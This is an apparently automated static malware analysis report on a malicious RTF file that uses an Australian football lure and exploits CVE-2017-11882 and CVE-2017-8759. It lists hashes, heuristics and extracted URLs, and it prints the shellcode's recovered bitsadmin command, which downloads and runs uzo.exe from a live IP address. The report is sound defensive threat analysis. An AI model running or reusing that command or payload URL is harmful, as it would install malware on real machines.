Malicious RTF — malware analysis report

Static analysis result for SHA-256 eeb936f2902150b8…

MALICIOUS

RTF

303.1 KB Created: 2018-07-06 02:56:00 First seen: 2019-05-16
MD5: d42ba1d116555c0ee69465e2165399c7 SHA-1: afcd708969d97a613f9fed6753467e7eef3d0c1b SHA-256: eeb936f2902150b8457b609dd81bd1d85851f94b67ad7b31658388268c978bc8
322 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The file is an RTF document that exploits two critical vulnerabilities: CVE-2017-11882 (Equation Editor FONT record overflow) and CVE-2017-8759 (MSXML SAX OLE activation). These exploits are designed to execute arbitrary code, which is further indicated by the 'EXTRACTED_FILE_STATIC_TRIAGE' heuristic flagging shellcode and command strings. The document body discusses the Australian Football International Cup, which appears to be a lure, while the embedded OLE object and exploit firings point to a malicious payload delivery mechanism.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.148.241.52:4560/uzo.exe In RTF body
    • https://en.wikipedia.org/wiki/Australian_rules_footballIn RTF body
    • https://en.wikipedia.org/wiki/Australian_Football_LeagueIn RTF body
    • https://en.wikipedia.org/wiki/2002_Australian_Football_International_CupIn RTF body
    • https://en.wikipedia.org/wiki/International_Australian_Football_CouncilIn RTF body
    • https://en.wikipedia.org/wiki/Australian_rules_football_in_AustraliaIn RTF body
    • https://en.wikipedia.org/wiki/Australian_Football_International_CupIn RTF body
    • https://en.wikipedia.org/w/index.php?title=Australian_Football_International_Cup&action=edit&section=1In RTF body
    • https://en.wikipedia.org/wiki/Ireland_national_Australian_rules_football_teamIn RTF body
    • https://en.wikipedia.org/wiki/2011_Australian_Football_International_CupIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • https://en.wikipedia.org/wiki/CompetitionIn RTF body
    • https://en.wikipedia.org/wiki/AustraliaIn RTF body
    • https://en.wikipedia.org/wiki/Grand_finalIn RTF body
    • https://en.wikipedia.org/wiki/Curtain_raiser_(dramaIn RTF body
    • https://en.wikipedia.org/wiki/AFL_New_ZealandIn RTF body
    • https://en.wikipedia.org/wiki/CanadaIn RTF body
    • https://en.wikipedia.org/wiki/DenmarkIn RTF body
    • https://en.wikipedia.org/wiki/IrelandIn RTF body
    • https://en.wikipedia.org/wiki/JapanIn RTF body
    • https://en.wikipedia.org/wiki/NauruIn RTF body
    • https://en.wikipedia.org/wiki/New_ZealandIn RTF body
    • https://en.wikipedia.org/wiki/Papua_New_GuineaIn RTF body
    • https://en.wikipedia.org/wiki/SamoaIn RTF body
    • https://en.wikipedia.org/wiki/South_AfricaIn RTF body
    • https://en.wikipedia.org/wiki/United_KingdomIn RTF body
    • https://en.wikipedia.org/wiki/United_StatesIn RTF body
    • https://en.wikipedia.org/wiki/SpainIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000166eb.bin rtf-objdata-decoded RTF \objdata at offset 0x166EB 15672 bytes
SHA-256: 33f77a5d50561a007aa5e113a5a6bf4b8fdd66b63e7a7dc31ace2f53b7e6a319
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://185.148.241.52:4560/uzo.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer hU /priority foreground http://185.148.241.52:4560/uzo.exe %USERPROFILE%\J.exe && start %USERPROFILE%\J.exe

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